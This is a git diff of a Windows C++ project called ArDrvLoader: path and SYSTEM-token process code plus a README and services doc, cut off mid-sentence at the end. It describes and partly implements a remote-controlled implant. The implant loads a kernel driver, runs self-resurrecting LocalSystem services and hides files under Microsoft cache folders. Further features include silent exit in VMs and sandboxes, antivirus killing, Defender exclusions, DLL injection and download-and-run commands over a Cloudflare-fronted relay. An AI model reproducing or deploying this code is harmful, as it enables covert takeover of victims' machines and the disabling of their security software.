(GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES) + return preferred; + + EnsureDirExists(alternate); + + if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES) + return alternate; + + std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader"; + EnsureDirExists(flat); + + return flat; +} + +void EnsureDirExists(const std::wstring& path) +{ + if (path.empty()) + return; + + std::wstring partial; + + for (size_t i = 0; i < path.size(); ++i) + { + partial += path[i]; + + if (path[i] == L'\\' || i + 1 == path.size()) + { + if (partial.size() > 3) + CreateDirectoryW(partial.c_str(), nullptr); + } + } +} + +std::wstring ArdrvServiceDir(const std::wstring& serviceName) +{ + std::wstring dir = ArdrvRoot(); + dir += L"\\"; + dir += serviceName; + + EnsureDirExists(dir); + return dir; +} + +std::wstring ArdrvStageDir() +{ + std::wstring dir = ArdrvRoot(); + dir += L"\\stage"; + + EnsureDirExists(dir); + return dir; +} + +std::wstring ArdrvStatePath() +{ + std::wstring path = ArdrvRoot(); + path += L"\\state.dat"; + + return path; +} + +std::wstring ArdrvLegacyStageDir() +{ + return ProgramDataDir() + L"\\ArDrvLoader\\payloads"; +} + +std::wstring ArdrvLegacyStatePath() +{ + return ProgramDataDir() + L"\\ArDrvLoader\\host.track"; +} diff --git a/Paths.h b/Paths.h new file mode 100644 index 0000000..fba97c6 --- /dev/null +++ b/Paths.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include + +// Deep, machine-specific artifact layout. Nothing sits in a folder named after +// this project; the path is derived from the machine GUID so it is stable on a +// host but not guessable from another one. +// +// %ProgramData%\Microsoft\Windows\Caches\<8hex>\\.exe +// %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ (downloads) +// %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat (host tracking) +// +// Override the root with ARDRV_ROOT (useful for tests). + +std::wstring ArdrvRoot(); +std::wstring ArdrvServiceDir(const std::wstring& serviceName); +std::wstring ArdrvStageDir(); +std::wstring ArdrvStatePath(); + +// Old flat layout, used only for one-time migration. +std::wstring ArdrvLegacyStageDir(); +std::wstring ArdrvLegacyStatePath(); + +void EnsureDirExists(const std::wstring& path); diff --git a/ProcessUtils.cpp b/ProcessUtils.cpp new file mode 100644 index 0000000..984cf87 --- /dev/null +++ b/ProcessUtils.cpp @@ -0,0 +1,212 @@ +#include "Common.h" +#include "ProcessUtils.h" +#include "TokenUtils.h" +#include "Logger.h" + +DWORD GetPidByName(const wchar_t* exeName) +{ + if (!exeName) + return 0; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return 0; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (!Process32First(snap, &pe)) + { + CloseHandle(snap); + return 0; + } + + do + { + if (_wcsicmp(pe.szExeFile, exeName) == 0) + { + DWORD pid = pe.th32ProcessID; + CloseHandle(snap); + return pid; + } + } while (Process32Next(snap, &pe)); + + CloseHandle(snap); + return 0; +} + +bool ProcessExistsByName(const wchar_t* exeName) +{ + return GetPidByName(exeName) != 0; +} + +static bool BuildCommandLine( + const wchar_t* exePath, + const wchar_t* args, + std::wstring& fullPath, + std::wstring& commandLine) +{ + if (!exePath || !*exePath) + return false; + + wchar_t abs[4096]{}; + DWORD n = GetFullPathNameW(exePath, _countof(abs), abs, nullptr); + + if (n == 0) + wcscpy_s(abs, _countof(abs), exePath); + + fullPath = abs; + + if (GetFileAttributesW(fullPath.c_str()) == INVALID_FILE_ATTRIBUTES) + { + Log(L"[-] Executable not found: %s", fullPath.c_str()); + return false; + } + + commandLine.clear(); + commandLine += L'"'; + commandLine += fullPath; + commandLine += L'"'; + + if (args && *args) + { + commandLine += L' '; + commandLine += args; + } + + return true; +} + +static bool CreateProcessAsSystemImpl( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive, + bool suspended, + NewProcInfo* out) +{ + if (out) + *out = NewProcInfo(); + + if (!systemToken || !exePath) + return false; + + HANDLE tok = DuplicateSystemTokenFromHandle(systemToken); + if (!tok) + { + Log(L"[-] Failed to duplicate SYSTEM token for process creation"); + return false; + } + + EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME); + EnablePrivilege(SE_INCREASE_QUOTA_NAME); + + if (interactive) + { + DWORD session = WTSGetActiveConsoleSessionId(); + + if (session != 0xFFFFFFFF) + { + if (!SetTokenInformation(tok, TokenSessionId, &session, sizeof(session))) + { + Log(L"[!] SetTokenInformation(TokenSessionId) failed: %lu", GetLastError()); + } + } + } + + LPVOID env = nullptr; + BOOL createdEnv = CreateEnvironmentBlock(&env, tok, FALSE); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = interactive ? SW_SHOWDEFAULT : SW_HIDE; + + if (interactive) + si.lpDesktop = const_cast(L"Winsta0\\Default"); + + std::wstring fullPath; + std::wstring cmd; + + if (!BuildCommandLine(exePath, args, fullPath, cmd)) + { + if (createdEnv) + DestroyEnvironmentBlock(env); + + CloseHandle(tok); + return false; + } + + PROCESS_INFORMATION pi{}; + + DWORD creationFlags = 0; + + if (!interactive) + creationFlags |= CREATE_NO_WINDOW; + + if (suspended) + creationFlags |= CREATE_SUSPENDED; + + BOOL ok = CreateProcessAsUserW( + tok, + fullPath.c_str(), + cmd.data(), + nullptr, + nullptr, + FALSE, + creationFlags, + createdEnv ? env : nullptr, + nullptr, + &si, + &pi); + + if (!ok) + { + Log(L"[-] CreateProcessAsUserW failed: %lu", GetLastError()); + } + else + { + Log(L"[+] Created process: PID %lu", pi.dwProcessId); + + if (out) + { + out->hProcess = pi.hProcess; + out->hThread = pi.hThread; + out->processId = pi.dwProcessId; + } + else + { + if (pi.hThread) + CloseHandle(pi.hThread); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + } + } + + if (createdEnv) + DestroyEnvironmentBlock(env); + + CloseHandle(tok); + + return ok == TRUE; +} + +bool StartProcessAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive) +{ + return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, false, nullptr); +} + +bool CreateProcessSuspendedAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive, + NewProcInfo* out) +{ + return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, true, out); +} diff --git a/ProcessUtils.h b/ProcessUtils.h new file mode 100644 index 0000000..b98188b --- /dev/null +++ b/ProcessUtils.h @@ -0,0 +1,33 @@ +#pragma once + +#include + +struct NewProcInfo +{ + HANDLE hProcess; + HANDLE hThread; + DWORD processId; + + NewProcInfo() + : hProcess(nullptr) + , hThread(nullptr) + , processId(0) + { + } +}; + +DWORD GetPidByName(const wchar_t* exeName); +bool ProcessExistsByName(const wchar_t* exeName); + +bool StartProcessAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive); + +bool CreateProcessSuspendedAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive, + NewProcInfo* out); diff --git a/README.md b/README.md new file mode 100644 index 0000000..0d02e5c --- /dev/null +++ b/README.md @@ -0,0 +1,410 @@ +# ArDrvLoader - build, use, test + +Single Windows client binary that installs a LocalSystem service stack, a kernel +driver, and a cloud command channel, plus a relay server and a Cloudflare Worker +that sit in front of it. + +``` +client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel +``` + +The Worker stores nothing; the relay owns all state. A client can also talk to the +relay directly (no Worker) when you want to save Cloudflare requests. + +- detailed internals: `SERVICES.md` +- this file: how to build, run and test + +--- + +## 1. Requirements + +| Piece | Need | +|---|---| +| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild | +| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) | +| Worker (optional) | `npm i -g wrangler` and a Cloudflare account | +| Test target | Windows 10/11 x64, admin rights for service install | + +Repository layout: + +``` +cpp_end/ + *.cpp *.h client sources + ArDrvLoader.vcxproj client project + StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe) + driver_res.rc stage_res.rc resource.h embedded driver + payload + build.ps1 build driver → payload → exe, produces dist\ + server/ relay server, sqlite, panel.html + cloudflare/ Worker proxy, mock worker + agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK + test-cloud.ps1 end-to-end test against the mock worker + SERVICES.md deep documentation +``` + +Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded. +Place nothing there for a driver-less build. + +--- + +## 2. Build + +``` +cd cpp_end +powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release +``` + +Output: + +``` +dist\Release\ArDrvLoader.exe <- single file, this is what ships +x64\Release\ArDrvLoader.exe <- build output with .pdb symbols +``` + +Variants: + +| Command | Result | +|---|---| +| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs | +| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` | +| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately | +| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely | + +Raw MSBuild, if you prefer: + +``` +MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m +``` + +Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so +double-clicking it shows no console. Debug stays a console app. + +Build hardening already applied to Release: `/Brepro` (no Rich header, no +timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a +`Trojan:Win32/Wacatac.B!ml` false positive from Defender. + +### Build-time defaults + +The exe can run with **no arguments at all**. These macros live in +`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`: + +| Macro | Meaning | Default | +|---|---|---| +| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` | +| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` | +| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` | +| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty | +| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` | + +Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping. + +--- + +## 3. Run the relay server + +``` +cd cpp_end/server +set PORT=8790 +set AGENT_SECRET=testsecret +set OPERATOR_KEY=testop +set ENROLL_SECRET=testenroll +set LEGACY_MASTER_AUTH=false +set PROXY_SECRET=proxys3cret +node server.js +``` + +| Env | Default | Purpose | +|---|---|---| +| `PORT` | 8790 | listen port | +| `DATA_DIR` | `./data` | sqlite file + `files/` payloads | +| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` | +| `AGENT_SECRET` | - | master key; per-agent keys are derived from it | +| `OPERATOR_KEY` | - | panel / operator API key | +| `ENROLL_SECRET` | operator key | enrollment token | +| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration | +| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` | +| `RETAIN_COMMAND_DAYS` | 7 | command retention | +| `RETAIN_EVENT_DAYS` | 30 | event retention | +| `RETAIN_MAX_COMMANDS` | 50000 | hard cap | + +The server creates its schema on start, opens SQLite in WAL mode, and reaps +commands stuck in `sent` for over 180 s. + +Panel: `http://:8790/panel?key=testop` + +--- + +## 4. Run the Worker proxy (optional) + +``` +cd cpp_end/cloudflare +wrangler dev --port 8789 --ip 127.0.0.1 --local +``` + +`.dev.vars`: + +``` +SERVER_URL=http://127.0.0.1:8790 +PROXY_SECRET=proxys3cret +``` + +Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then +`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure +forwarder. + +--- + +## 5. Install the client + +### One double-click + +`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults: + +1. one UAC prompt +2. installs driver + three services + cloud agent service +3. waits for the agent to register (id = computer name) +4. queues `KILLAV` through the relay so the run appears in the panel + +### With explicit arguments + +``` +ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key ^ + [--agent box1] [--secret ] [--target C:\Path\App.exe] [--no-killav] +``` + +### Services only, no bootstrap + +``` +ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent" +ArDrvLoader.exe -install-guard-services --target-service "SomeService" +ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC +``` + +Options: `--prefix `, `--install-dir `, `--keep-location`, +`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`, +`--cloud-service`. + +### What gets installed + +| Service | Role | +|---|---| +| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` | +| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive | +| `ServiceStateHost` | re-enables a disabled target service and starts it | +| `CloudTest` / `CloudSyncHost` | the cloud agent | + +All run as `LocalSystem`, auto-start, restart on failure, and watch each other. +Files live under a machine-tagged directory: +`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\` +for a non-elevated agent). + +### Configuration - `HKLM\SOFTWARE\ArDrvLoader` + +The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop, +so changes apply without reinstalling. + +| Value | Type | Default | Meaning | +|---|---|---|---| +| `TargetPath` | REG_SZ | - | program to keep alive | +| `TargetArgs` | REG_SZ | - | its arguments | +| `TargetService` | REG_SZ | - | service to keep alive instead | +| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path | +| `DriverService` | REG_SZ | `ArDrv` | kernel service name | +| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify | +| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval | +| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand | +| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures | +| `DriverFailMax` | REG_DWORD | 3 | budget before giving up | +| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` | +| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start | +| `AllowVm` | REG_DWORD | 0 | run inside a VM | +| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions | + +--- + +## 6. Cloud agent + +``` +ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret --interval 5000 +ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ... +``` + +Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or +`HKLM\Software\CloudAgent`. + +### Per-agent keys + +``` +ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret +``` + +Writes `\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET` +are absent. Revoke from the panel (`revoke`) or +`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it. + +--- + +## 7. Panel + +`http://:8790/panel?key=` + +- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips, + history with `copy result` / `run again` +- **All commands** - global table, defaults to executed commands, sortable by + time / agent / command / state / operator / result / duration + - `run` chip re-enqueues that command for the same agent + - `+` or the result cell expands the output + - clicking the row loads the command into that agent's console +- **Palette** - `all commands (47)` opens every command grouped by category, with + search; chips with `` load into the composer, others send immediately +- agent header shows host, user, SID, version, interval, and `revoke`/`restore` +- offline agents render grey (`online=false` after 3 intervals, min 45 s) +- broadcast sends one command to every online agent +- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key + +--- + +## 8. Commands + +``` +PING STATUS HELP +RUN EXEC RUN_USER RUN_SYSTEM +PS PS_USER +RUNFILE [args] RUNFILE_USER RUNFILE_SYSTEM +OPENFILE [args] OPENFILE_USER +DOWNLOAD [sha256] DEPLOY [args] DEPLOY_SYSTEM [args] +KILLPID KILLNAME KILLALL TOKEN_GET +INJECT_FILE INJECT_SUSPEND +KILLAV KILLAV_DRYRUN +EXCLUSION_LIST EXCLUSION_ADD EXCLUSION_APPLY +DRIVER_STATUS DRIVER_RESET DRIVER_LOAD +HOST_LIST HOST_SPAWN [--host ] [args] HOST_SPAWN_USER +HOST_INJECT [--host ] HOST_TRACK HOST_UNTRACK +STAGE_STATUS STAGE_INJECT [--host ] STAGE_RUN STAGE_STOP +SERVICE_STATUS START_SERVICE [path] +INSTALL_SERVICE [path] INSTALL_CLOUD_SERVICE +INSTALL_GUARD_SERVICES [--target ] [--target-service ] [--args ] +STOP +``` + +`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped. + +--- + +## 9. Test + +### 9.1 Automated cloud test (mock worker, no Node needed in the path) + +``` +cd cpp_end +powershell -ExecutionPolicy Bypass -File test-cloud.ps1 +``` + +It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks: +PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected +and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST, +DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS. + +Useful switches: `-Port 8795 -AgentId clitest1`. + +### 9.2 Manual command against the live relay + +``` +\.\agent-cli.ps1 -Command "STATUS" +\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST" +agent.cmd STATUS # wrapper for hosts with a restrictive execution policy +``` + +### 9.3 Single-exe client test + +1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder +2. Double-click it (Release is silent; use Debug to watch) +3. Expect UAC → agent appears in the panel → `KILLAV` row completes + +Verify from a shell: + +``` +sc query DeviceSetupHost +sc query ArDrv +dir C:\Windows\System32\drivers\ardrv.sys +HKLM\SOFTWARE\ArDrvLoader +``` + +### 9.4 Driver checks + +``` +ArDrvLoader.exe -drv status # device=ok embedded= fail=N/max state=... +ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys +ArDrvLoader.exe -drv reset +``` + +### 9.5 Kill-safety checks + +``` +ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed +ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected +ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver) +``` + +### 9.6 AV scan + +``` +"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^ + "C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation +``` + +Current build scans clean on engine 1.461.217.0. + +### 9.7 Uninstall / reset + +Elevated, in order: + +``` +sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost +sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost +sc stop ArDrv +sc delete ArDrv +del C:\Windows\System32\drivers\ardrv.sys +reg delete HKLM\SOFTWARE\ArDrvLoader /f +rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex> +``` + +Then clear relay state if you want a clean panel: + +``` +node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')" +``` + +A staged payload that was injected into a live host can keep +`ardrvstage.dll` locked until reboot; queue it with +`PendingFileRenameOperations` or restart. + +--- + +## 10. Troubleshooting + +| Symptom | Cause / fix | +|---|---| +| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer | +| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` | +| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` | +| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) | +| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold | +| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists | +| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` | +| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` | +| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing | +| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary | + +--- + +## 11. Known limitations + +- The client is **unsigned**; code signing is the durable fix for SmartScreen and + behavioural AV verdicts. +- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes, + device ACL) need driver source, which is not part of this repository. +- `KILLAV` is real: on a test box it disables Defender until it recovers. +- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps + you around 17 agents. +- The "services go quiet, payload takes over" handoff is half-built: the guard + keeps the stage payload alive, but the payload only runs commands. diff --git a/SERVICES.md b/SERVICES.md new file mode 100644 index 0000000..fb721f2 --- /dev/null +++ b/SERVICES.md @@ -0,0 +1,1107 @@ +# ArDrvLoader — Guard Services + +Single binary. Three LocalSystem services installed from one command, plus a +cloud control channel. + +## Virtual machine gate + +Every mode refuses to run inside a hypervisor guest and exits silently with code +`0` — no window, no log line, nothing for a sandbox to read. Detection combines: + +| Check | Signal | +|---|---| +| CPUID leaf 1 / 0x40000000 | hypervisor bit plus vendor string: `VMwareVMware`, `VBoxVBoxVBox`, `KVMKVMKVM`, `XenVMMXenVMM`, `TCGTCGTCG`, `bhyve bhyve` | +| SMBIOS (`RSMB` table) | vendor/product strings containing `virtualbox`, `vmware`, `qemu`, `kvm`, `bochs`, `parallels`, `xen`, `virtual machine`, `hyper-v` | +| Hyper-V specifics | `Microsoft Hv` vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC | +| Disk `Enum` | controller identity containing `vbox`, `vmware`, `qemu`, `xen`, `virtio` | +| Services | `VBoxService`, `VBoxGuest`, `vmci`, `vmhgfs`, `VMTools`, `vmrawdsk`, `xenbus`, … | +| Driver files | `VBoxGuest.sys`, `vmmouse.sys`, `vmhgfs.sys`, `VBoxService.exe`, … | +| Processes | `VBoxService.exe`, `VBoxTray.exe`, `vmtoolsd.exe`, `qemu-ga.exe`, `xenservice.exe` | +| MAC OUI | `00:0C:29`, `00:50:56`, `08:00:27`, `52:54:00`, `00:16:3E`, `00:15:5D`, … | + +Override for testing inside a VM, any one of: + +``` +ArDrvLoader.exe ... --allow-vm # command line +set ARDRV_ALLOW_VM=1 # environment +reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f +``` + +`-install-guard-services --allow-vm` writes `AllowVm=1` and embeds `--allow-vm` +into all three service command lines, so the services run on that guest too. +`ARDRV_VM_DEBUG=1` prints the detected reason to stdout — leave it unset on a +target. + +## Install (elevated shell) + +``` +ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent" +``` + +Target is a Windows service instead of a process: + +``` +ArDrvLoader.exe -install-guard-services --target-service "AppService" +``` + +Add `--no-start` to install without starting now. + +## Services + +| Service | Role | What it does | +|---------------|----------|---------------------------------------------------------------------| +| `ArDrvDriver` | driver | Copies `ardrv.sys` to `System32\drivers`, creates kernel service, starts it, verifies `\\.\ArDrv` | +| `ArDrvGuard` | guard | Checks the target each interval. Not running → starts it | +| `ArDrvRepair` | repair | If the target service is disabled → set start type back, start it. Also re-starts missing processes | + +All three: account `LocalSystem`, `SERVICE_AUTO_START`, restart-on-failure (5s / 10s / 30s). + +**Reciprocal watchdogs:** each role also checks that the other two services are +running and starts them if not. A manual `sc stop ArDrvGuard` gets undone within +one interval, because repair and driver both notice. + +Change prefix with `--prefix MyName` → `MyNameDriver`, `MyNameGuard`, `MyNameRepair`. + +### Process start context + +The guard runs as LocalSystem in session 0. Starting the target there would make +it invisible to the logged-in user, so it first grabs the active console session +token (`WTSQueryUserToken` + `CreateProcessAsUser`) and only falls back to a +session-0 launch when no user is logged on. + +## Change the target program later + +No reinstall. Edit the config, services re-read it every loop: + +``` +reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f +reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f +reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f +``` + +The config key's DACL is locked to `SYSTEM` and `Administrators` by the installer, +so a standard user can no longer repoint the guard at their own binary. + +## Config values — `HKLM\SOFTWARE\ArDrvLoader` + +| Value | Type | Default | Meaning | +|--------------------|---------|------------------------------------------|-------------------------------| +| `TargetPath` | REG_SZ | empty | exe to keep alive | +| `TargetArgs` | REG_SZ | empty | arguments for the exe | +| `TargetService` | REG_SZ | empty | service to keep alive | +| `DriverImage` | REG_SZ | `C:\Windows\System32\drivers\ardrv.sys` | driver file | +| `DriverService` | REG_SZ | `ArDrv` | kernel service name | +| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify | +| `CheckIntervalMs` | REG_DWORD | `5000` | loop interval (min 1000) | +| `DesiredStartType` | REG_DWORD | `2` | `2` auto, `3` demand, `4` disabled | +| `DriverServiceName`| REG_SZ | `ArDrvDriver` | watchdog peer name | +| `GuardServiceName` | REG_SZ | `ArDrvGuard` | watchdog peer name | +| `RepairServiceName`| REG_SZ | `ArDrvRepair` | watchdog peer name | + +## Manual test without SCM + +``` +ArDrvLoader.exe -service driver --console +ArDrvLoader.exe -service guard --console --target "C:\Windows\System32\notepad.exe" --interval 1000 +ArDrvLoader.exe -service repair --console --target-service "SomeService" +``` + +## Cloud control + +`-cloud` / `-cloud-service` unchanged in shape. + +### Request authentication + +No secret is sent in a URL. Every request carries: + +``` +X-Agent-Id: +X-Agent-Ts: +X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET, + agent \n ts \n METHOD \n path+query \n hex(sha256(body)))) +``` + +The Worker rejects missing, malformed, or stale (>300s) signatures with `403`. +It uses a constant-time comparison. `path+query` has no leading slash, e.g. +`poll?agent=box1`. + +### Remote commands + +``` +DOWNLOAD [sha256] +DEPLOY [args] +DEPLOY_SYSTEM [args] +``` + +- `DOWNLOAD` — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes + the file and returns `ERR DOWNLOAD hash mismatch got ` when an expected + hash was supplied and does not match. Hard cap: 256 MB. +- `DEPLOY` — downloads into `%ProgramData%\ArDrvLoader\payloads\` and + runs it in the agent's context (SYSTEM when run as a service). +- `DEPLOY_SYSTEM` — forces the SYSTEM token path. + +Full remote install chain: + +``` +DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi +PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn +INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe" +``` + +`STATUS` now also reports the watchdog stack: + +``` +pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped +``` + +The polling loop backs off on empty/failed polls from the configured interval up +to 15s, and resets to the base interval as soon as a command arrives. + +### Embedded driver + +`ardrv.sys` is packed into the exe as an RCDATA resource when the file sits next to +`ArDrvLoader.vcxproj` at build time (`driver_res.rc`, `resource.h`). At runtime the +binary extracts it to `C:\Windows\System32\drivers\ardrv.sys` if the file is absent, +so one exe is enough to ship. Without a driver file at build time the resource is +simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies. +The image still has to be signed or the kernel refuses to load it. + +### Testing the cloud agent locally + +``` +powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1 +``` + +Spins up `cloudflare\mock-worker.ps1` (local Worker stand-in with the same HMAC +scheme), starts the agent against it, then checks: + +| Case | Expected | +|---|---| +| `PING` | `PONG` | +| `STATUS` | pid/system/admin/sid line (+ watchdog states if installed) | +| `DOWNLOAD` | `OK sha256=` | +| `DOWNLOAD` with wrong hash | `ERR DOWNLOAD hash mismatch`, file deleted | +| `DEPLOY` | `OK %ProgramData%\ArDrvLoader\payloads\` | +| `STOP` | `OK STOP`, agent exits | +| unsigned request | `403 denied` | + +Manual pieces: + +``` +# mock worker +powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads + +# agent pointed at it (--elevated skips the UAC relaunch) +ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated + +# signed command +powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS + +# read the ACK (base64 body) +# GET /status needs a signature too; use send-command.ps1 or the test script +``` + +Set `ARDRV_MOCK_DEBUG=1` when launching the mock worker to log every request, +rejection reason, and signature mismatch. + +## Logging + +| Build | Behaviour | +|---|---| +| `Release` | No logging at all. `Log(...)` is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no `OutputDebugString`. Verified: `ardrv_loader.log`, `=== Loader start ===`, `[guard] ...`, `[watchdog] ...` are all absent from the Release image. | +| `Debug` | Logs to `C:\Users\Public\ardrv_loader.log` and `OutputDebugStringW`. | + +To get logs out of a Release build on purpose, add `ARDRV_LOG_ENABLED=1` to the +project's PreprocessorDefinitions — `Logger.h` only auto-decides when it is not +already defined. + +Note the debug log path lives in `C:\Users\Public`, readable by every local user. +Fine for a dev machine, not for a target. Keep Release for anything deployed. + +## Kill safety (`KillSafety.cpp`) + +AV termination through the driver is now gated. Every candidate goes through: + +1. **Protected list** — `svchost.exe`, `csrss.exe`, `wininit.exe`, `winlogon.exe`, `services.exe`, `lsass.exe`, `smss.exe`, `System`, `Registry`, `MemCompression`, `fontdrvhost`, `dwm`, … Rejected before enumeration, so a request for `svchost.exe` produces one skip line and zero opens. +2. **Own tree** — the caller's PID and every ancestor up to the root are refused. `cmd.exe /c 